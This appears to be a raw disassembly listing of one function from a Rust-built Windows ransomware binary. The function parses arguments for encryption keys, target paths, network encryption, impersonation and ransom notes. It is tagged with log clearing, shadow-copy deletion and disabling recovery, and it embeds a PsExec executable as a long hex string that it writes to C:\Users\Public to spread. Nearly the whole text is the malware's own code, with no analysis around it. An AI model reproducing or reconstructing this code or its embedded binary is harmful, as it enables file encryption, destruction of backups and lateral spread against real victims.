Function at 0x140005380
Capabilities:
Clear windows event logs
Delete volume shadow copies
Disable automatic windows recovery features

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xc38
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0xba0], xmm6
and rsp, 0xffffffffffffff80
mov r14, qword [0x14050df18]
movzx eax, byte [r14]
mov ecx, 5
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x14000a0da
mov byte [rax + 4], 0x70
mov dword [rax], 0x7041794d
mov qword [rsp + 0x480], 5
mov qword [rsp + 0x488], rax
mov qword [rsp + 0x490], 5
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x480]
call sym.clap::app::parser::Parser::with_name::h686101efeedd45de
lea rdx, [0x1402e25f5]
lea rcx, [rsp + 0x480]
mov r8d, 3
call sym.clap::args::arg::Arg::with_name::h41e64c0a7e2a938c
lea r8, [0x1402e25f5]
lea rcx, [rsp + 0x730]
lea rdx, [rsp + 0x480]
mov r9d, 3
call sym.clap::args::arg::Arg::long::h537cf681978c63c4
lea r8, [0x1402e25f8]
lea rcx, [rsp + 0x480]
lea rdx, [rsp + 0x730]
mov r9d, 3
call sym.clap::args::arg::Arg::value_name::h000e0bea54fb1fa6
lea rax, [0x1402e25fb]
mov qword [rsp + 0x618], rax
mov qword [rsp + 0x620], 0x1c
lea rsi, [rsp + 0x730]
lea rdx, [rsp + 0x480]
mov r8d, 0x218
mov rcx, rsi
call sym.memcpy
lea rcx, [rsp + 0x480]
mov rdx, rsi
mov r8b, 1
call sym.clap::args::arg::Arg::takes_value::h2ee9e856df216744
lea rcx, [rsp + 0x730]
lea rdx, [rsp + 0x480]
xor r8d, r8d
call sym.clap::args::arg::Arg::required::h48f0a0ff5b0332cf
lea rsi, [rsp + 0x480]
lea rdx, [rsp + 0x730]
mov r8d, 0x218
mov rcx, rsi
call sym.memcpy
lea rcx, [rsp + 0x180]
mov rdx, rsi
call sym.clap::app::parser::Parser::add_arg::hef78da2ff39f9521
lea rcx, [rsp + 0x480]
lea rdx, [rsp + 0x180]
mov r8d, 0x258
call sym.memcpy
lea rdx, [0x1402e2617]
lea rcx, [rsp + 0x180]
mov r8d, 4
call sym.clap::args::arg::Arg::with_name::h41e64c0a7e2a938c
lea r8, [0x1402e261b]
lea rcx, [rsp + 0x730]
lea rdx, [rsp + 0x180]
mov r9d, 1
call sym.clap::args::arg::Arg::short::h445b1a23bf1f9f11
lea r8, [0x1402e2617]
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x730]
mov r9d, 4
call sym.clap::args::arg::Arg::long::h537cf681978c63c4
lea r8, [0x1402e261c]
lea rcx, [rsp + 0x730]
lea rdx, [rsp + 0x180]
mov r9d, 4
call sym.clap::args::arg::Arg::value_name::h000e0bea54fb1fa6
lea rax, [0x1402e2620]
mov qword [rsp + 0x8c8], rax
mov qword [rsp + 0x8d0], 0x36
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x730]
mov r8d, 0x218
mov rcx, rsi
call sym.memcpy
lea rcx, [rsp + 0x730]
mov rdx, rsi
mov r8b, 1
call sym.clap::args::arg::Arg::takes_value::h2ee9e856df216744
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x730]
mov r8d, 0x218
mov rcx, rsi
call sym.memcpy
lea rcx, [rsp + 0x480]
mov rdx, rsi
call sym.clap::app::parser::Parser::add_arg::hef78da2ff39f9521
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x480]
mov r8d, 0x258
call sym.memcpy
lea rdx, [0x1402e2656]
lea rcx, [rsp + 0x480]
mov r8d, 4
call sym.clap::args::arg::Arg::with_name::h41e64c0a7e2a938c
lea r8, [0x1402e265a]
lea rcx, [rsp + 0x730]
lea rdx, [rsp + 0x480]
mov r9d, 1
call sym.clap::args::arg::Arg::short::h445b1a23bf1f9f11
lea r8, [0x1402e2656]
lea rcx, [rsp + 0x980]
lea rdx, [rsp + 0x730]
mov r9d, 4
call sym.clap::args::arg::Arg::long::h537cf681978c63c4
lea rax, [0x1402e265b]
mov qword [rsp + 0xb18], rax
mov qword [rsp + 0xb20], 0x17
lea rsi, [rsp + 0x480]
lea rdx, [rsp + 0x980]
mov r8d, 0x218
mov rcx, rsi
call sym.memcpy
lea rcx, [rsp + 0x180]
mov rdx, rsi
call sym.clap::app::parser::Parser::add_arg::hef78da2ff39f9521
lea rcx, [rsp + 0x480]
lea rdx, [rsp + 0x180]
mov r8d, 0x258
call sym.memcpy
lea rdx, [0x1402e2672]
lea rcx, [rsp + 0x180]
mov r8d, 5
call sym.clap::args::arg::Arg::with_name::h41e64c0a7e2a938c
lea r8, [0x1402e2677]
lea rcx, [rsp + 0x730]
lea rdx, [rsp + 0x180]
mov r9d, 1
call sym.clap::args::arg::Arg::short::h445b1a23bf1f9f11
lea r8, [0x1402e2672]
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x730]
mov r9d, 5
call sym.clap::args::arg::Arg::long::h537cf681978c63c4
lea r8, [0x1402e2678]
lea rcx, [rsp + 0x730]
lea rdx, [rsp + 0x180]
mov r9d, 3
call sym.clap::args::arg::Arg::value_name::h000e0bea54fb1fa6
lea rax, [0x1402e267b]
mov qword [rsp + 0x8c8], rax
mov qword [rsp + 0x8d0], 0x1d
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x730]
mov r8d, 0x218
mov rcx, rsi
call sym.memcpy
lea rcx, [rsp + 0x730]
mov rdx, rsi
mov r8b, 1
call sym.clap::args::arg::Arg::takes_value::h2ee9e856df216744
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x730]
mov r8d, 0x218
mov rcx, rsi
call sym.memcpy
lea rcx, [rsp + 0x480]
mov rdx, rsi
call sym.clap::app::parser::Parser::add_arg::hef78da2ff39f9521
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x480]
mov r8d, 0x258
call sym.memcpy
lea rdx, [0x1402e2698]
lea rcx, [rsp + 0x480]
mov r8d, 7
call sym.clap::args::arg::Arg::with_name::h41e64c0a7e2a938c
lea r8, [0x1402e2698]
lea rcx, [rsp + 0x730]
lea rdx, [rsp + 0x480]
mov r9d, 7
call sym.clap::args::arg::Arg::long::h537cf681978c63c4
lea r8, [0x1402e2698]
lea rcx, [rsp + 0x480]
lea rdx, [rsp + 0x730]
mov r9d, 7
call sym.clap::args::arg::Arg::value_name::h000e0bea54fb1fa6
lea rax, [0x1402e269f]
mov qword [rsp + 0x618], rax
mov qword [rsp + 0x620], 0x17
lea rsi, [rsp + 0x730]
lea rdx, [rsp + 0x480]
mov r8d, 0x218
mov rcx, rsi
call sym.memcpy
lea rcx, [rsp + 0x980]
mov rdx, rsi
xor r8d, r8d
call sym.clap::args::arg::Arg::takes_value::h2ee9e856df216744
lea rsi, [rsp + 0x480]
lea rdx, [rsp + 0x980]
mov r8d, 0x218
mov rcx, rsi
call sym.memcpy
lea rcx, [rsp + 0x180]
mov rdx, rsi
call sym.clap::app::parser::Parser::add_arg::hef78da2ff39f9521
lea rcx, [rsp + 0x480]
lea rdx, [rsp + 0x180]
mov r8d, 0x258
call sym.memcpy
lea rdx, [0x1402e26b6]
lea rcx, [rsp + 0x180]
mov r8d, 8
call sym.clap::args::arg::Arg::with_name::h41e64c0a7e2a938c
lea r8, [0x1402e26b6]
lea rcx, [rsp + 0x730]
lea rdx, [rsp + 0x180]
mov r9d, 8
call sym.clap::args::arg::Arg::long::h537cf681978c63c4
lea r8, [0x1402e26b6]
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x730]
mov r9d, 8
call sym.clap::args::arg::Arg::value_name::h000e0bea54fb1fa6
lea rax, [0x1402e26be]
mov qword [rsp + 0x318], rax
mov qword [rsp + 0x320], 0x32
lea rsi, [rsp + 0x730]
lea rdx, [rsp + 0x180]
mov r8d, 0x218
mov rcx, rsi
call sym.memcpy
lea rcx, [rsp + 0x980]
mov rdx, rsi
xor r8d, r8d
call sym.clap::args::arg::Arg::takes_value::h2ee9e856df216744
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x980]
mov r8d, 0x218
mov rcx, rsi
call sym.memcpy
lea rcx, [rsp + 0x480]
mov rdx, rsi
call sym.clap::app::parser::Parser::add_arg::hef78da2ff39f9521
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x480]
mov r8d, 0x258
call sym.memcpy
lea rdx, [0x1402e26f0]
lea rcx, [rsp + 0x480]
mov r8d, 6
call sym.clap::args::arg::Arg::with_name::h41e64c0a7e2a938c
lea r8, [0x1402e26f0]
lea rcx, [rsp + 0x730]
lea rdx, [rsp + 0x480]
mov r9d, 6
call sym.clap::args::arg::Arg::long::h537cf681978c63c4
lea r8, [0x1402e26f0]
lea rcx, [rsp + 0x480]
lea rdx, [rsp + 0x730]
mov r9d, 6
call sym.clap::args::arg::Arg::value_name::h000e0bea54fb1fa6
lea rax, [0x1402e26f6]
mov qword [rsp + 0x618], rax
mov qword [rsp + 0x620], 0x1f
lea rsi, [rsp + 0x730]
lea rdx, [rsp + 0x480]
mov r8d, 0x218
mov rcx, rsi
call sym.memcpy
lea rcx, [rsp + 0x980]
mov rdx, rsi
xor r8d, r8d
call sym.clap::args::arg::Arg::takes_value::h2ee9e856df216744
lea rsi, [rsp + 0x480]
lea rdx, [rsp + 0x980]
mov r8d, 0x218
mov rcx, rsi
call sym.memcpy
lea rcx, [rsp + 0x180]
mov rdx, rsi
call sym.clap::app::parser::Parser::add_arg::hef78da2ff39f9521
lea rcx, [rsp + 0x480]
lea rdx, [rsp + 0x180]
mov r8d, 0x258
call sym.memcpy
lea rdx, [0x1402e2715]
lea rcx, [rsp + 0x180]
mov r8d, 8
call sym.clap::args::arg::Arg::with_name::h41e64c0a7e2a938c
lea r8, [0x1402e2715]
lea rcx, [rsp + 0x730]
lea rdx, [rsp + 0x180]
mov r9d, 8
call sym.clap::args::arg::Arg::long::h537cf681978c63c4
lea r8, [0x1402e2715]
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x730]
mov r9d, 8
call sym.clap::args::arg::Arg::value_name::h000e0bea54fb1fa6
lea rax, [0x1402e271d]
mov qword [rsp + 0x318], rax
mov qword [rsp + 0x320], 0x18
lea r15, [rsp + 0x730]
lea rdx, [rsp + 0x180]
mov r8d, 0x218
mov rcx, r15
call sym.memcpy
lea rcx, [rsp + 0x980]
mov rdx, r15
xor r8d, r8d
call sym.clap::args::arg::Arg::takes_value::h2ee9e856df216744
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x980]
mov r8d, 0x218
mov rcx, rsi
call sym.memcpy
lea rcx, [rsp + 0x480]
mov rdx, rsi
call sym.clap::app::parser::Parser::add_arg::hef78da2ff39f9521
lea rdi, [rsp + 0x180]
lea rsi, [rsp + 0x480]
mov r8d, 0x258
mov rcx, rdi
mov rdx, rsi
call sym.memcpy
lea rbx, [rsp + 0xba0]
mov rcx, rbx
mov rdx, rdi
call sym.clap::app::App::get_matches::hda4dd456c5ea94ea
lea rdx, [0x1402e2656]
mov r8d, 4
mov rcx, rbx
call sym.clap::args::arg_matches::ArgMatches::is_present::he127ef9f45c21826
test al, al
je 0x140005eb0
lea rcx, [rsp + 0xba0]
call sym.clap::args::arg_matches::ArgMatches::usage::he288742ca425322b
mov qword [rsp + 0x480], rax
mov qword [rsp + 0x488], rdx
mov qword [rsp + 0x730], rsi
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h93282b6719729994]
mov qword [rsp + 0x738], rax
lea rax, [0x1404403e0]
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 2
mov qword [rsp + 0x1a0], 0
mov qword [rsp + 0x190], r15
mov qword [rsp + 0x198], 1
lea rcx, [rsp + 0x180]
call sym.std::io::stdio::_print::h9f145f403daa054f
lea rax, str._nAdditional_Information:_n
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 1
mov qword [rsp + 0x190], 8
pxor xmm6, xmm6
movdqu xmmword [rsp + 0x198], xmm6
lea rcx, [rsp + 0x180]
call sym.std::io::stdio::_print::h9f145f403daa054f
lea rax, str.______key__________Sets_the_keys_for_activation__Required_parameter__n
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 1
mov qword [rsp + 0x190], 8
movdqu xmmword [rsp + 0x198], xmm6
lea rcx, [rsp + 0x180]
call sym.std::io::stdio::_print::h9f145f403daa054f
lea rax, str._p____path_________Sets_the_path_to_the_file_or_directory_to_be_encrypted_n
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 1
mov qword [rsp + 0x190], 8
movdqu xmmword [rsp + 0x198], xmm6
lea rcx, [rsp + 0x180]
call sym.std::io::stdio::_print::h9f145f403daa054f
lea rax, str._s____sleep________Sleep_is_indicated_in_seconds_n
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 1
mov qword [rsp + 0x190], 8
movdqu xmmword [rsp + 0x198], xmm6
lea rcx, [rsp + 0x180]
call sym.std::io::stdio::_print::h9f145f403daa054f
lea rax, str.______no_local_____Skip_encrypting_data_stored_locally_on_this_device_n
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 1
mov qword [rsp + 0x190], 8
movdqu xmmword [rsp + 0x198], xmm6
lea rcx, [rsp + 0x180]
call sym.std::io::stdio::_print::h9f145f403daa054f
lea rax, str.______no_net_______Skip_encryption_of_network_data_n
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 1
mov qword [rsp + 0x190], 8
movdqu xmmword [rsp + 0x198], xmm6
lea rcx, [rsp + 0x180]
call sym.std::io::stdio::_print::h9f145f403daa054f
lea rax, str.______no_impl______Dont_use_impersonation_n
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 1
mov qword [rsp + 0x190], 8
movdqu xmmword [rsp + 0x198], xmm6
lea rcx, [rsp + 0x180]
call sym.std::io::stdio::_print::h9f145f403daa054f
lea rax, str.______no_notes_____Encryption_without_notes_n
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 1
mov qword [rsp + 0x190], 8
movdqu xmmword [rsp + 0x198], xmm6
lea rcx, [rsp + 0x180]
call sym.std::io::stdio::_print::h9f145f403daa054f
lea rax, [0x140440658]
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 1
mov qword [rsp + 0x190], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x198], xmm0
lea rcx, [rsp + 0x180]
call sym.std::io::stdio::_print::h9f145f403daa054f
jmp 0x14000a060
lea rdx, [0x1402e2617]
lea rcx, [rsp + 0xba0]
mov r8d, 4
call sym.clap::args::arg_matches::ArgMatches::value_of::h6e564839968631ec
mov r13, rdx
test rax, rax
mov rcx, rdx
cmove rcx, rax
mov qword [rsp + 0x150], rcx
mov edi, 1
cmovne rdi, rax
lea rdx, [0x1402e25f5]
lea rcx, [rsp + 0xba0]
mov r8d, 3
call sym.clap::args::arg_matches::ArgMatches::value_of::h6e564839968631ec
test rax, rax
je 0x140005fb5
cmp rdx, 0x2c
jne 0x140005fb5
lea rcx, [rsp + 0x480]
mov r8d, 0x2c
mov rdx, rax
call sym.win_enc::encryption::check_key_and_get_rec_text::h67a10ed494622de9
movabs rax, 0x8000000000000000
mov rsi, qword [rsp + 0x480]
cmp rsi, rax
jne 0x140005ffb
lea rax, str._._
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 1
mov qword [rsp + 0x190], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x198], xmm0
lea rcx, [rsp + 0x180]
call sym.std::io::stdio::_print::h9f145f403daa054f
mov rsi, qword [rsp + 0x488]
mov rdi, qword [rsp + 0x490]
mov rcx, rsi
call qword [rdi]
mov rdx, qword [rdi + 8]
test rdx, rdx
je 0x14000a060
mov r8, qword [rdi + 0x10]
mov rcx, rsi
jmp 0x14000a05b
lea rax, str._._
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 1
mov qword [rsp + 0x190], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x198], xmm0
lea rcx, [rsp + 0x180]
call sym.std::io::stdio::_print::h9f145f403daa054f
jmp 0x14000a060
mov qword [rsp + 0x38], rdi
mov rdi, qword [rsp + 0x488]
mov r9, qword [rsp + 0x490]
lea rcx, [0x1402e2735]
mov edx, 0xb
mov r8, rdi
call fcn.1400047e0
test al, al
je 0x14000616c
mov r8, qword [rsp + 0x490]
mov qword [rsp + 0x140], r8
movdqu xmm0, xmmword [rsp + 0x480]
movdqa xmmword [rsp + 0x130], xmm0
mov rdx, qword [rsp + 0x138]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0xb
lea r9, [0x1402e2735]
lea rcx, [rsp + 0x180]
call sym.alloc::str::__impl_str_::replace::h4ecc63a1f41c4fb5
mov rdx, qword [rsp + 0x130]
test rdx, rdx
je 0x1400060a5
mov rcx, qword [rsp + 0x138]
mov r8d, 1
call sym.__rust_dealloc
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x140], rax
movdqu xmm0, xmmword [rsp + 0x180]
movdqa xmmword [rsp + 0x130], xmm0
lea rdx, [0x1402e2715]
lea rcx, [rsp + 0xba0]
mov r8d, 8
call sym.clap::args::arg_matches::ArgMatches::is_present::he127ef9f45c21826
test al, al
je 0x140006129
mov rdx, qword [rsp + 0x130]
test rdx, rdx
je 0x140006105
mov rcx, qword [rsp + 0x138]
mov r8d, 1
call sym.__rust_dealloc
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x138], 1
mov qword [rsp + 0x140], 0
lea rdx, [0x1402e2698]
lea rcx, [rsp + 0xba0]
mov r8d, 7
call sym.clap::args::arg_matches::ArgMatches::is_present::he127ef9f45c21826
test al, al
mov qword [rsp + 0x178], r13
je 0x1400061c7
call sub.KERNEL32.dll_GetConsoleWindow
test rax, rax
je 0x140006d29
mov rcx, rax
xor edx, edx
call sub.USER32.dll_ShowWindow
jmp 0x140006d29
lea rax, str._._
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 1
mov qword [rsp + 0x190], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x198], xmm0
lea rcx, [rsp + 0x180]
call sym.std::io::stdio::_print::h9f145f403daa054f
test rsi, rsi
je 0x14000a060
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
jmp 0x14000a05b
call sub.KERNEL32.dll_GetConsoleWindow
test rax, rax
je 0x1400061db
mov rcx, rax
xor edx, edx
call sub.USER32.dll_ShowWindow
lea rax, str.C:UsersPublicpsexec0.exe4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000180100000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000007fd73ddd3bb6538e3bb6538e3bb6538e70ce508f36b6538e70ce568f8eb6538e70ce578f2cb6538e74ca578f28b6538e74ca508f2db6538e74ca568f75b6538e70ce528f34b6538e3bb6528ee1b6538efcca578f3db6538efcca568f3fb6538efccaac8e3ab6538e3bb6c48e3ab6538efcca518f3ab6538e526963683bb6538e000000000000000000000000000000000000000000000000504500004c0105004e2d2f640000000000000000e00002010b010e2200fa03000018090000000000baa1010000100000001004000000400000100000000200000600000000000000060000000000000000300d0000040000d4b60b00030040810000100000100000000010000010000000000000100000000000000000000000907d0700a000000000000a0040fc0200000000000000000000c60a009027000000000d00882a0000405b07005400000000000000000000000000000000000000000000000000000040b1060040000000000000000000000000100400f0020000b47b070060000000000000000000000000000000000000002e74657874000000eff903000010000000fa030000040000000000000000000000000000200000602e726461746100006a7e0300001004000080030000fe0300000000000000000000000000400000402e64617461000000406c020000900700001e0000007e0700000000000000000000000000400000c02e7273726300000040fc020000000a0000fe0200009c0700000000000000000000000000400000402e72656c6f630000882a000000000d00002c0000009a0a000000000000000000000000004000004200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006a0868b4824400b900ee4900e8cf00000068a0084400e88c8a010059c3cccccc68c0064400e87d8a010059c3cccccccc6820074400e86d8a010059c3cccccccc6880074400e85d8a010059c3cccccccc68e0074400e84d8a010059c3cccccccc6840084400e83d8a010059c3cccccccc6800094400e82d8a010059c3cccccccc6860094400e81d8a010059c3b958ee4900e8a27c010068bd094400e8078a010059c368d1094400e8fb89010059c368c7094400e8ef89010059c3b980ef4900e8747c010068e5094400e8d989010059c368db094400e8cd89010059c3cccccccc558bec51538b5d0c56578bf9897dfc81fbfeffff7f0f8781000000c747140700000083fb0873228d341b895f1056ff750857e8f99b010083c40c33c06689043e5f5e5b8be55dc208008bf383ce0781fefeffff7f7607befeffff7feb0ab80a0000003bf00f42f08d460150e8a00600008bf88b45fc8970148d341b56ff7508893857895810e8a69b010083c40c33c06689043e5f5e5b8be55dc20800e84f060000cccccccccccccccccccccccccccccc558bec6aff686ffd430064a100000000505156a1cc9f470033c5508d45f464a3000000008bf18975f06a00e8a57b0100c745fc00000000c7460400000000c6460800c7460c00000000c646100033c0c74614000000006689461889461c6689462089462488462889462c8846308b4508c645fc0685c0741e5056e8de7f010083c4088bc68b4df464890d00000000595e8be55dc20400680c144400e8317d0100cccccccccccccccccccccccccccccccc558bec568bf10f57c08d460450c70684134400660fd6008b450883c00450e8fe95010083c408c706a41344008bc65e5dc20400cccccccccccccccccccccccccc558bec568bf10f57c08d460450c70684134400660fd6008b450883c00450e8be95010083c408c706b01344008bc65e5dc20400cccccccccccccccccccccccccc0f57c08bc1660fd64104c74104b8134400c701b0134400c3cccccccccccccccc558bec568bf10f57c08d460450c70684134400660fd6008b450883c00450e85e95010083c408c706e81344008bc65e5dc20400cccccccccccccccccccccccccc558bec568bf10f57c08d460450c70684134400660fd6008b450883c00450e81e95010083c4088bc65e5dc20400cccccc568bf18b0685c0740950e8ef24020083c404c706000000005ec3cccccccccccc568bf18b4e1483f908722d8b068d0c4d0200000081f90010000072128b50fc83c1232bc283c0fc83f81f77218bc25150e81e84010083c40833c0c7461000000000c74614070000006689065ec3e8cdd20100cccccccccccccccccccccccccccc8b0985c974068b016a01ff10c3cccccc568bf18b0685c074408b4e082bc883e1fe
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 0x1b
mov dword [rsp + 0x730], 3
lea rax, [0x1402e277b]
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 0x15db20
mov qword [rsp + 0x190], 2
mov qword [rsp + 0x198], 0
mov qword [rsp + 0x1a0], r15
lea r15, [rsp + 0x480]
lea rdx, [rsp + 0x180]
mov rcx, r15
call sym._ZN98__LT_alloc..vec..Vec_LT_T_GT__u20_as_u20_alloc..vec..spec_from_iter..SpecFromIter_LT_T_C_I_GT__GT_9from_iter17h0216542144
cmp dword [rsp + 0x730], 3
jne 0x14000a1f2
mov rcx, qword [rsp + 0x480]
mov rdi, qword [rsp + 0x488]
mov rsi, qword [rsp + 0x490]
movabs rax, 0x8000000000000000
mov qword [rsp + 0x48], rcx
cmp rcx, rax
mov qword [rsp + 0x78], rdi
je 0x14000a227
mov rdx, qword [rsp + 0x160]
mov r8, qword [rsp + 0x168]
mov dword [rsp + 0x180], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
mov dword [rsp + 0x198], 7
mov qword [rsp + 0x19c], 0
mov word [rsp + 0x1a4], 0
mov byte [rsp + 0x1a1], 1
mov byte [rsp + 0x1a4], 1
mov byte [rsp + 0x1a3], 1
lea rcx, [rsp + 0x180]
call sym.std::fs::OpenOptions::_open::h037695e540c0f6c5
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], rdx
test rax, rax
je 0x140006329
lea rcx, [rsp + 0x180]
call sym.core::ptr::drop_in_place_core::result::Result_std::fs::File_std::io::error::Error__::he14bfdc1753ceafc
jmp 0x14000636b
mov qword [rsp + 0x730], rdx
lea rcx, [rsp + 0x730]
mov rdx, rdi
mov r8, rsi
call sym.std::io::Write::write_all::hc20905e42379f391
mov qword [rsp + 0x480], rax
test rax, rax
je 0x14000635e
lea rcx, [rsp + 0x480]
call sym._ZN4core3ptr42drop_in_place_LT_std..io..error..Error_GT_17h10f50175a72312bcE.llvm.13514751015752540465
mov rcx, qword [rsp + 0x730]
call fcn.1402ddbdc
lea rcx, [rsp + 0x180]
call sym.std::env::current_exe::h1c3f9c39bfa16d2b
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x180], rax
je 0x14000a26d
movdqu xmm0, xmmword [rsp + 0x180]
movups xmm1, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0xf0], xmm1
movdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0xe0]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::hc42e064764fb4d62
mov rcx, rax
call sym.std::path::Path::file_name::ha2d28ffee58966a0
test rax, rax
je 0x14000a2ae
mov r8, rdx
lea rcx, [rsp + 0x180]
mov rdx, rax
call sym._ZN3std3ffi6os_str95__LT_impl_u20_core..convert..TryFrom_LT__RF_std..ffi..os_str..OsStr_GT__u20_for_u20__RF_str_GT_8try_from17
cmp qword [rsp + 0x180], 0
jne 0x14000a2b7
mov rdi, qword [rsp + 0x188]
mov rsi, qword [rsp + 0x190]
movzx eax, byte [r14]
mov ebx, 0x10
mov ecx, 0x10
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x14000a2c8
movdqu xmm0, xmmword [str.C:UsersPublic__accepteula__s__d______no_impl]
movdqu xmmword [rax], xmm0
mov qword [rsp + 0x180], 0x10
mov qword [rsp + 0x188], rax
mov qword [rsp + 0x190], 0x10
test rsi, rsi
je 0x140006479
lea rcx, [rsp + 0x180]
mov edx, 0x10
mov r8, rsi
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::hd10e6bde5f934d0f
mov rax, qword [rsp + 0x188]
mov rbx, qword [rsp + 0x190]
add rax, rbx
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call sym.memcpy
add rbx, rsi
mov qword [rsp + 0xd0], rbx
movdqu xmm0, xmmword [rsp + 0x180]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0xe0]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::hc42e064764fb4d62
mov r8, rdx
lea rcx, [rsp + 0x180]
mov rdx, rax
call sym._ZN3std3ffi6os_str95__LT_impl_u20_core..convert..TryFrom_LT__RF_std..ffi..os_str..OsStr_GT__u20_for_u20__RF_str_GT_8try_from17
cmp qword [rsp + 0x180], 0
jne 0x14000a2dc
mov rbx, qword [rsp + 0x188]
mov r14, qword [rsp + 0x190]
lea rcx, [rsp + 0x180]
lea rsi, [rsp + 0xc0]
mov rdx, rsi
call sym.__alloc::string::String_as_core::clone::Clone_::clone::haa927812f4ac785e
mov rdi, qword [rsp + 0x188]
mov r9, qword [rsp + 0x190]
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call sym.std::sys::pal::windows::fs::copy::he6c351078caf69fb
mov rbx, rax
mov r14, rdx
mov rdx, qword [rsp + 0x180]
test rdx, rdx
je 0x14000653d
mov r8d, 1
mov rcx, rdi
call sym.__rust_dealloc
mov qword [rsp + 0x480], rbx
mov qword [rsp + 0x488], r14
test rbx, rbx
je 0x14000655f
lea rcx, [rsp + 0x488]
call sym._ZN4core3ptr42drop_in_place_LT_std..io..error..Error_GT_17h10f50175a72312bcE.llvm.13514751015752540465
lea rax, [rsp + 0x160]
mov qword [rsp + 0x480], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h93282b6719729994]
mov qword [rsp + 0x488], rax
mov qword [rsp + 0x490], rsi
lea rax, [fcn.140005080]
mov qword [rsp + 0x498], rax
lea rax, [0x140440330]
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 3
mov qword [rsp + 0x1a0], 0
mov qword [rsp + 0x190], r15
mov qword [rsp + 0x198], 2
lea rcx, [rsp + 0x730]
lea rdx, [rsp + 0x180]
call sym.alloc::fmt::format::format_inner::h2e4b5bde2a7ad535
movdqu xmm0, xmmword [rsp + 0x730]
movdqa xmmword [rsp + 0xa0], xmm0
mov rax, qword [rsp + 0x740]
mov qword [rsp + 0xb0], rax
lea rcx, [rsp + 0x180]
call sym.std::env::args::h64f94aef010fa857
movdqu xmm0, xmmword [rsp + 0x180]
movups xmm1, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0xc00], xmm1
movdqa xmmword [rsp + 0xbf0], xmm0
mov qword [rsp + 0xc10], 1
lea rcx, [rsp + 0x118]
lea rdx, [rsp + 0xbf0]
call sym._ZN98__LT_alloc..vec..Vec_LT_T_GT__u20_as_u20_alloc..vec..spec_from_iter..SpecFromIter_LT_T_C_I_GT__GT_9from_iter17ha0fd270bd2
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x70], rax
mov r15, qword [rsp + 0x128]
test r15, r15
je 0x140006744
mov rsi, qword [rsp + 0xb0]
lea rax, [r15*8]
lea r13, [rax + rax*2]
xor edi, edi
jmp 0x1400066c7
mov rbx, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xb0]
lea rcx, [rbx + rsi]
mov rdx, r14
mov r8, r12
call sym.memcpy
add rsi, r12
mov qword [rsp + 0xb0], rsi
add rdi, 0x18
cmp r13, rdi
je 0x140006754
mov rax, qword [rsp + 0xa0]
cmp rax, rsi
jne 0x1400066fa
mov r8d, 1
lea rcx, [rsp + 0xa0]
mov rdx, rsi
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::hd10e6bde5f934d0f
